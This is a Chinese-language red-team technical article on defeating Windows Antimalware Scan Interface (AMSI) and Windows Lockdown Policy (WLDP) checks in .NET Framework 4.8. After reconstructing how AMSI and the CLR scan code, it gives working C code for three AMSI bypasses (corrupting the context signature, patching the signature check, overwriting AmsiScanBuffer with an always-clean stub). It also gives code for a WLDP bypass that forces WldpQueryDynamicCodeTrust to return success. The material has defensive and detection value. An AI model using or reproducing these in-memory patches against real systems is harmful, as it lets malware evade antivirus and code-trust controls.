0x00 前言
.NET Framework在v4.8版中使用Antimalware Scan Interface (AMSI)以及Windows Lockdown Policy (WLDP)机制来阻止攻击者从内存中运行潜在风险的软件。WLDP会验证动态代码的数字签名,而AMSI会扫描有害或者被管理员阻止运行的软件。本文介绍了红队用来绕过AMSI的3种常用方法,也介绍了能绕过WLDP的一种方法。这里介绍的绕过方法较为通用,不需要掌握关于AMSI或者WLDP的特殊知识点。在2019年6月之后这些方法可能没那么好好用。我们与TheWover一起合作,共同研究关于AMSI及WLDP的相关技术。
0x01 已有研究成果
关于AMSI及WLDP之前已经有一些研究成果,如下表所示。如果大家还掌握更多资料,可以随时给我发邮件更新。
0x02 AMSI示例代码
在给定文件路径的情况下,如下代码可以打开该文件,将其映射到内存中然后使用AMSI来检测文件内容是否有害,或者是否被管理员所阻止:
typedef HRESULT (WINAPI *AmsiInitialize_t)(
LPCWSTR appName,
HAMSICONTEXT *amsiContext);
typedef HRESULT (WINAPI *AmsiScanBuffer_t)(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result);
typedef void (WINAPI *AmsiUninitialize_t)(
HAMSICONTEXT amsiContext);
BOOL IsMalware(const char *path) {
AmsiInitialize_t _AmsiInitialize;
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiUninitialize_t _AmsiUninitialize;
HAMSICONTEXT ctx;
AMSI_RESULT res;
HMODULE amsi;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD size, high;
BOOL malware = FALSE;
// load amsi library
amsi = LoadLibrary("amsi");
// resolve functions
_AmsiInitialize =
(AmsiInitialize_t)
GetProcAddress(amsi, "AmsiInitialize");
_AmsiScanBuffer =
(AmsiScanBuffer_t)
GetProcAddress(amsi, "AmsiScanBuffer");
_AmsiUninitialize =
(AmsiUninitialize_t)
GetProcAddress(amsi, "AmsiUninitialize");
// return FALSE on failure
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL ||
_AmsiUninitialize == NULL) {
printf("Unable to resolve AMSI functions.n");
return FALSE;
}
// open file for reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
size = GetFileSize(file, &high);
if(size != 0) {
// create mapping
map = CreateFileMapping(
file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(
map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// scan for malware
hr = _AmsiInitialize(L"AMSI Example", &ctx);
if(hr == S_OK) {
hr = _AmsiScanBuffer(ctx, mem, size, NULL, 0, &res);
if(hr == S_OK) {
malware = (AmsiResultIsMalware(res) ||
AmsiResultIsBlockedByAdmin(res));
}
_AmsiUninitialize(ctx);
}
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return malware;
}
扫描正常文件和有害文件的结果如下所示:
如果大家对AMSI的内部工作原理已经非常熟悉,可以直接跳到下文的绕过方法部分内容。
0x03 AMSI上下文
AMSI上下文结构是一个非公开的结构,但我们可以使用如下结构来解析返回的句柄。
typedef struct tagHAMSICONTEXT {
DWORD Signature; // "AMSI" or 0x49534D41
PWCHAR AppName; // set by AmsiInitialize
IAntimalware *Antimalware; // set by AmsiInitialize
DWORD SessionCount; // increased by AmsiOpenSession
} _HAMSICONTEXT, *_PHAMSICONTEXT;
0x04 AMSI初始化
在初始化函数参数中,appName
指向的是用户定义的一个unicode
字符串,而amsiContext
指向的是HAMSICONTEXT
类型的一个句柄。如果成功初始化AMSI上下文,该函数就会返回S_OK
。如下代码并非完整版的初始化函数代码,但可以帮助我们理解AMSI的内部工作流程。
HRESULT _AmsiInitialize(LPCWSTR appName, HAMSICONTEXT *amsiContext) {
_HAMSICONTEXT *ctx;
HRESULT hr;
int nameLen;
IClassFactory *clsFactory = NULL;
// invalid arguments?
if(appName == NULL || amsiContext == NULL) {
return E_INVALIDARG;
}
// allocate memory for context
ctx = (_HAMSICONTEXT*)CoTaskMemAlloc(sizeof(_HAMSICONTEXT));
if(ctx == NULL) {
return E_OUTOFMEMORY;
}
// initialize to zero
ZeroMemory(ctx, sizeof(_HAMSICONTEXT));
// set the signature to "AMSI"
ctx->Signature = 0x49534D41;
// allocate memory for the appName and copy to buffer
nameLen = (lstrlen(appName) + 1) * sizeof(WCHAR);
ctx->AppName = (PWCHAR)CoTaskMemAlloc(nameLen);
if(ctx->AppName == NULL) {
hr = E_OUTOFMEMORY;
} else {
// set the app name
lstrcpy(ctx->AppName, appName);
// instantiate class factory
hr = DllGetClassObject(
CLSID_Antimalware,
IID_IClassFactory,
(LPVOID*)&clsFactory);
if(hr == S_OK) {
// instantiate Antimalware interface
hr = clsFactory->CreateInstance(
NULL,
IID_IAntimalware,
(LPVOID*)&ctx->Antimalware);
// free class factory
clsFactory->Release();
// save pointer to context
*amsiContext = ctx;
}
}
// if anything failed, free context
if(hr != S_OK) {
AmsiFreeContext(ctx);
}
return hr;
}
HAMSICONTEXT
结构对应的内存在堆上分配,并且使用appName
、AMSI对应的“签名”(即0x49534D41
)和IAntimalware
接口进行初始化。
0x05 AMSI扫描
我们可以通过如下代码,大致了解当该函数被调用时会执行哪些操作。如果扫描成功,返回结果为S_OK
,我们需要检查AMSI_RESULT
,判断buffer
中是否包含不需要的软件。
HRESULT _AmsiScanBuffer(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
_HAMSICONTEXT *ctx = (_HAMSICONTEXT*)amsiContext;
// validate arguments
if(buffer == NULL ||
length == 0 ||
amsiResult == NULL ||
ctx == NULL ||
ctx->Signature != 0x49534D41 ||
ctx->AppName == NULL ||
ctx->Antimalware == NULL)
{
return E_INVALIDARG;
}
// scan buffer
return ctx->Antimalware->Scan(
ctx->Antimalware, // rcx = this
&CAmsiBufferStream, // rdx = IAmsiBufferStream interface
amsiResult, // r8 = AMSI_RESULT
NULL, // r9 = IAntimalwareProvider
amsiContext, // HAMSICONTEXT
CAmsiBufferStream,
buffer,
length,
contentName,
amsiSession);
}
注意观察上面对参数的验证过程,我们可以以此为基础,让AmsiScanBuffer
失败,返回E_INVALIDARG
。
0x06 AMSI的CLR实现
CLR使用了名为AmsiScan
的一个私有函数来检测通过Load
方法传递的软件是否为潜在风险软件。根据检测结果,系统可能会结束某个.NET进程的运行(但不一定是使用CLR托管接口的非托管(unmanaged)进程)。我们可以通过如下代码大致了解CLR如何实现AMSI。
AmsiScanBuffer_t _AmsiScanBuffer;
AmsiInitialize_t _AmsiInitialize;
HAMSICONTEXT *g_amsiContext;
VOID AmsiScan(PVOID buffer, ULONG length) {
HMODULE amsi;
HAMSICONTEXT *ctx;
HAMSI_RESULT amsiResult;
HRESULT hr;
// if global context not initialized
if(g_amsiContext == NULL) {
// load AMSI.dll
amsi = LoadLibraryEx(
L"amsi.dll",
NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(amsi != NULL) {
// resolve address of init function
_AmsiInitialize =
(AmsiInitialize_t)GetProcAddress(amsi, "AmsiInitialize");
// resolve address of scanning function
_AmsiScanBuffer =
(AmsiScanBuffer_t)GetProcAddress(amsi, "AmsiScanBuffer");
// failed to resolve either? exit scan
if(_AmsiInitialize == NULL ||
_AmsiScanBuffer == NULL) return;
hr = _AmsiInitialize(L"DotNet", &ctx);
if(hr == S_OK) {
// update global variable
g_amsiContext = ctx;
}
}
}
if(g_amsiContext != NULL) {
// scan buffer
hr = _AmsiScanBuffer(
g_amsiContext,
buffer,
length,
0,
0,
&amsiResult);
if(hr == S_OK) {
// if malware was detected or it's blocked by admin
if(AmsiResultIsMalware(amsiResult) ||
AmsiResultIsBlockedByAdmin(amsiResult))
{
// "Operation did not complete successfully because "
// "the file contains a virus or potentially unwanted"
// software.
GetHRMsg(ERROR_VIRUS_INFECTED, &error_string, 0);
ThrowHR(COR_E_BADIMAGEFORMAT, &error_string);
}
}
}
}
CLR使用了名为g_amsiContext
的一个全局变量,该变量指向的是由AmsiInitialize
创建的AMSI上下文(当首次使用AmsiScan
时)。如果AMSI
上下文结构被破坏,AmsiScan
并不会抛出任何错误,这是否是个问题值得商榷。如果AmsiScanBuffer
返回S_OK
,只有此时才会检查amsiResult
。如果buffer
中包含恶意代码,就会使用COR_E_BADIMAGEFORMAT
以及ERROR_VIRUS_INFECTED
错误信息来调用ThrowHR
。然而,如果向AmsiScanBuffer
传递了格式错误的上下文,那么该函数就会返回E_INVALIDARG
,并且buffer
中的内容永远不会被检查。此外,AmsiScan
并不会去调查为什么AmsiScanBuffer
会出现错误。这里应该问一个问题:“如果系统支持AMSI且调用失败了,背后的原因到底是什么?”
0x07 AMSI绕过:Patch数据
Matt Graeber提供了一个PoC,可以破坏CLR!g_amsiContext
所指向的上下文,这样将导致AmsiScanBuffer
返回E_INVALIDARG
。从CLR的实现代码中可知,由于系统永远不会验证CLR!AmsiScan
的结果是否成功或者失败,因此这种方法行之有效。我们认为系统会简单抛出一个错误,终止尝试加载恶意软件的宿主应用,然而,托管.NET程序集的非托管应用可能会处理任何C++异常。Windows Defender仍然会记录检测到有害代码的行为,但非托管宿主应用在某些情况下仍然可以继续运行。为了通过g_amsiContext
禁用AMSI,我们可以搜索PEB.ProcessHeap
所指向的堆内存,或者搜索.data
段虚拟地址空间中找到的每个指针。后一种方法可以参考如下代码,只有当CLR调用AmsiScan
后这种方法才有效。
BOOL DisableAMSI(VOID) {
LPVOID hCLR;
BOOL disabled = FALSE;
PIMAGE_DOS_HEADER dos;
PIMAGE_NT_HEADERS nt;
PIMAGE_SECTION_HEADER sh;
DWORD i, j, res;
PBYTE ds;
MEMORY_BASIC_INFORMATION mbi;
_PHAMSICONTEXT ctx;
hCLR = GetModuleHandleA("CLR");
if(hCLR != NULL) {
dos = (PIMAGE_DOS_HEADER)hCLR;
nt = RVA2VA(PIMAGE_NT_HEADERS, hCLR, dos->e_lfanew);
sh = (PIMAGE_SECTION_HEADER)((LPBYTE)&nt->OptionalHeader +
nt->FileHeader.SizeOfOptionalHeader);
// scan all writeable segments while disabled == FALSE
for(i = 0;
i < nt->FileHeader.NumberOfSections && !disabled;
i++)
{
// if this section is writeable, assume it's data
if (sh[i].Characteristics & IMAGE_SCN_MEM_WRITE) {
// scan section for pointers to the heap
ds = RVA2VA (PBYTE, hCLR, sh[i].VirtualAddress);
for(j = 0;
j < sh[i].Misc.VirtualSize - sizeof(ULONG_PTR);
j += sizeof(ULONG_PTR))
{
// get pointer
ULONG_PTR ptr = *(ULONG_PTR*)&ds[j];
// query if the pointer
res = VirtualQuery((LPVOID)ptr, &mbi, sizeof(mbi));
if(res != sizeof(mbi)) continue;
// if it's a pointer to heap or stack
if ((mbi.State == MEM_COMMIT ) &&
(mbi.Type == MEM_PRIVATE ) &&
(mbi.Protect == PAGE_READWRITE))
{
ctx = (_PHAMSICONTEXT)ptr;
// check if it contains the signature
if(ctx->Signature == 0x49534D41) {
// corrupt it
ctx->Signature++;
disabled = TRUE;
break;
}
}
}
}
}
}
return disabled;
}
0x08 AMSI绕过:Patch代码(1)
CyberArk建议通过两条指令( xor edi, edi, nop
)来patch AmsiScanBuffer
。如果我们想hook该函数,那么在跳转到其他函数之前,可以使用LDE(Length Disassembler Engine)来计算待保存的prolog字节数。由于该函数会验证传递进来的的AMSI上下文参数,并且要求Signature值为“AMSI”,因此我们可以定位这个值,简单将其更改为其他值即可。与Matt Graeber破坏上下文/数据的方法不同,在如下代码中我们会破坏这个特征值来绕过AMSI。
BOOL DisableAMSI(VOID) {
HMODULE dll;
PBYTE cs;
DWORD i, op, t;
BOOL disabled = FALSE;
_PHAMSICONTEXT ctx;
// load AMSI library
dll = LoadLibraryExA(
"amsi", NULL,
LOAD_LIBRARY_SEARCH_SYSTEM32);
if(dll == NULL) {
return FALSE;
}
// resolve address of function to patch
cs = (PBYTE)GetProcAddress(dll, "AmsiScanBuffer");
// scan for signature
for(i=0;;i++) {
ctx = (_PHAMSICONTEXT)&cs[i];
// is it "AMSI"?
if(ctx->Signature == 0x49534D41) {
// set page protection for write access
VirtualProtect(cs, sizeof(ULONG_PTR),
PAGE_EXECUTE_READWRITE, &op);
// change signature
ctx->Signature++;
// set page back to original protection
VirtualProtect(cs, sizeof(ULONG_PTR), op, &t);
disabled = TRUE;
break;
}
}
return disabled;
}
0x09 AMSI绕过:Patch代码(2)
Tal Liberman的建议是覆盖AmsiScanBuffer
的prolog字节,使该函数返回1。如下代码会覆盖该函数,使得当CLR扫描任何缓冲区时,该函数都会返回AMSI_RESULT_CLEAN
以及S_OK
。
// fake function that always returns S_OK and AMSI_RESULT_CLEAN
static HRESULT AmsiScanBufferStub(
HAMSICONTEXT amsiContext,
PVOID buffer,
ULONG length,
LPCWSTR contentName,
HAMSISESSION amsiSession,
AMSI_RESULT *result)
{
*result = AMSI_RESULT_CLEAN;
return S_OK;
}
static VOID AmsiScanBufferStubEnd(VOID) {}
BOOL DisableAMSI(VOID) {
BOOL disabled = FALSE;
HMODULE amsi;
DWORD len, op, t;
LPVOID cs;
// load amsi
amsi = LoadLibrary("amsi");
if(amsi != NULL) {
// resolve address of function to patch
cs = GetProcAddress(amsi, "AmsiScanBuffer");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)AmsiScanBufferStubEnd -
(ULONG_PTR)AmsiScanBufferStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with code stub
memcpy(cs, &AmsiScanBufferStub, len);
disabled = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return disabled;
}
patch之后,恶意软件会被标记为安全软件,如下图所示:
0x0A WLDP示例代码
如下函数演示了如何使用WLDP(Windows Lockdown Policy)来查询内存中的动态代码是否可信。
BOOL VerifyCodeTrust(const char *path) {
WldpQueryDynamicCodeTrust_t _WldpQueryDynamicCodeTrust;
HMODULE wldp;
HANDLE file, map, mem;
HRESULT hr = -1;
DWORD low, high;
// load wldp
wldp = LoadLibrary("wldp");
_WldpQueryDynamicCodeTrust =
(WldpQueryDynamicCodeTrust_t)
GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
// return FALSE on failure
if(_WldpQueryDynamicCodeTrust == NULL) {
printf("Unable to resolve address for WLDP.dll!WldpQueryDynamicCodeTrust.n");
return FALSE;
}
// open file reading
file = CreateFile(
path, GENERIC_READ, FILE_SHARE_READ,
NULL, OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL, NULL);
if(file != INVALID_HANDLE_VALUE) {
// get size
low = GetFileSize(file, &high);
if(low != 0) {
// create mapping
map = CreateFileMapping(file, NULL, PAGE_READONLY, 0, 0, 0);
if(map != NULL) {
// get pointer to memory
mem = MapViewOfFile(map, FILE_MAP_READ, 0, 0, 0);
if(mem != NULL) {
// verify signature
hr = _WldpQueryDynamicCodeTrust(0, mem, low);
UnmapViewOfFile(mem);
}
CloseHandle(map);
}
}
CloseHandle(file);
}
return hr == S_OK;
}
0x0B WLDP绕过:Patch代码
我们可以使用桩(stub)代码来覆盖该函数,始终返回S_OK
。
// fake function that always returns S_OK
static HRESULT WINAPI WldpQueryDynamicCodeTrustStub(
HANDLE fileHandle,
PVOID baseImage,
ULONG ImageSize)
{
return S_OK;
}
static VOID WldpQueryDynamicCodeTrustStubEnd(VOID) {}
static BOOL PatchWldp(VOID) {
BOOL patched = FALSE;
HMODULE wldp;
DWORD len, op, t;
LPVOID cs;
// load wldp
wldp = LoadLibrary("wldp");
if(wldp != NULL) {
// resolve address of function to patch
cs = GetProcAddress(wldp, "WldpQueryDynamicCodeTrust");
if(cs != NULL) {
// calculate length of stub
len = (ULONG_PTR)WldpQueryDynamicCodeTrustStubEnd -
(ULONG_PTR)WldpQueryDynamicCodeTrustStub;
// make the memory writeable
if(VirtualProtect(
cs, len, PAGE_EXECUTE_READWRITE, &op))
{
// over write with stub
memcpy(cs, &WldpQueryDynamicCodeTrustStub, len);
patched = TRUE;
// set back to original protection
VirtualProtect(cs, len, op, &t);
}
}
}
return patched;
}
虽然本文介绍的方法检测起来非常容易,但对于Windows 10上最新版的DotNet Framework来说依然有效。只要我们还可以patch AMSI用来检测有害代码的数据或者代码,那么绕过AMSI的方法就一直都会存在。
发表评论
您还未登录,请先登录。
登录